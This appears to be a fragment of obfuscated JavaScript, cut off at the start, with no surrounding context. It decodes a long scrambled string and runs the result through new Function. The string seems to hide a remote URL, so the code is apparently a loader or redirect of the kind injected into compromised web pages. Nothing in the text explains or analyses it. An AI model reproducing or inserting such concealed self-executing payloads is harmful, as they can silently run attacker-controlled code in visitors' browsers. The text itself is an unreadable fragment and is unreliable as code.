0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();